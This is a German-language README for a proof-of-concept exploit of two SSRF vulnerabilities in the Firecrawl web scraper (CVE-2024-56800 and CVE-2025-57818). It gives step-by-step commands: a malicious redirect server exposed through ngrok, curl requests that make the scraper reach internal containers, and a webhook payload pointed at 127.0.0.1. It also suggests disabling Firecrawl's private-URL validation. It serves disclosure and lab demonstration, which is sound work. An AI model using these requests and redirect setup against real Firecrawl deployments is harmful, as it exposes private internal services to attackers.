
Proof-of-Concept-Exploit, der SSRF-Sicherheitslücken im Firecrawl-Webscraper (CVE-2024-56800, CVE-2025-57818) mit selbst gehosteter Einrichtung und bösartigem Redirect-Server demonstriert.
https://nvd.nist.gov/vuln/detail/CVE-2024-56800
https://github.com/firecrawl/firecrawl/commit/4d1f92f4c8c36403022428285a03621fd90d62ec
https://github.com/firecrawl/firecrawl/security/advisories/GHSA-vjp8-2wgg-p734
Firecrawl ist ein Web-Scraping-Tool, mit dem Benutzer den Inhalt einer Webseite extrahieren können. Versionen vor 1.1.1 enthalten eine Server-Side-Request-Forgery (SSRF)-Schwachstelle. Die Scraper-Engine akzeptiert Weiterleitungen von Websites zu beliebigen lokalen IP-Adressen, was zur Offenlegung von Ressourcen auf dem privaten Server führt.
Sie befindet sich unter apps/api/src/controllers/v1/scrape.ts
Die Benutzereingabe wird nicht bereinigt und darf private IP-Adressen sein. Wenn 127.0.0.1 verwendet wird, erfolgt tatsächlich eine Weiterleitung zum lokalen Netzwerk von Firecrawl, wodurch der interne Server des Firecrawl-Servers offengelegt wird.
git clone https://github.com/cyhe50/cve-2024-56800-poc
cd cve-2024-56800-poc
cd scraper/firecrawl-1.0.0
docker-compose up -d
cd ../..
cd malicious_server
docker build -t malicious_server .
docker run -p 8000:80 malicious_server
Der Grund ist, dass der Firecrawl-Server private URLs blockiert. Wenn Sie den Server nicht öffentlich machen möchten, können Sie meiner Meinung nach einfach die Validierung direkt im Firecrawl auskommentieren. Hier notiere ich nur, was ich gemacht habe. ngrok:
ngrok http 8000
curl: (Denken Sie daran, die richtige URL einzufügen)
curl -X POST http://localhost:3002/v1/scrape \
-H 'Content-Type: application/json' \
-d '{
"url": "https://xxxxx.ngrok-free.app",
"formats": ["markdown", "html"]
}'
scraper.py
cd scraper
!! Öffnen Sie die Dockerfile und ändern Sie die URL auf die soeben generierte.
docker build -t scraper .
docker run scraper
Beim Starten des selbst gehosteten Firecrawl-Servers werden 5 Dienste aktiviert, einer davon ist firecrawl-test-1 (weitere Details mit docker ps).
Da alle diese 5 Dienste im selben Netzwerk eingerichtet sind, können sie sich über den Containernamen, mit dem sie verbinden möchten, erreichen.
z.B. (Verbindung zu firecrawl-test-1)
Direktes Ausführen von curl auf dem lokalen Rechner:
curl http://firecrawl-test-1:80
oder
curl http://localhost:80
Keiner dieser Befehle sollte funktionieren, da sie sich nicht im selben Netzwerk wie firecrawl-test-1 befinden.
Im Gegensatz dazu beim Zugriff über firecrawl-api-1:
docker exec -it firecrawl-api-1 /bin/bash
curl http:firecrawl-test-1:80
oder
curl http://localhost:80
Dies sollte die korrekten Daten ausgeben, da sie sich im selben Netzwerk befinden.
Auf dem bösartigen Server erfolgt eine Weiterleitung zu http://firecrawl-test-1:80, was nur im Firecrawl-Netzwerk funktionieren sollte. Daher bedeutet der erfolgreiche Zugriff auf den firecrawl-test-1-Server, dass der Scraper erfolgreich auf seinen internen Server weitergeleitet hat. Dies zeigt, wie die SSRF funktioniert, um Ressourcen auf einem privaten Server offenzulegen.
Dies ist ebenfalls eine SSRF-Schwachstelle.
Sie tritt in der Crawl-API auf, wo der Parameter webhook nicht bereinigt wird. Angreifer können POST-Anfragen an ein lokales Netzwerk von Firecrawl senden.
Sie befindet sich unter apps/api/src/services/webhook.ts. Das Problem ist, dass die Eingabe webhookUrl nicht bereinigt wird.
Der Webhook sendet eine POST-Anfrage an die angegebene URL. Hier setzen wir sie auf 127.0.0.1 und sie hat erfolgreich eine Verbindung zum internen Server hergestellt.
curl -X POST http://localhost:3002/v1/crawl \
-H 'Content-Type: application/json' \
-d '{
"url": "https://example.com",
"webhook": "http://127.0.0.1:80"
}'
Der interne Server hat die POST-Anfrage erfolgreich empfangen.
![]()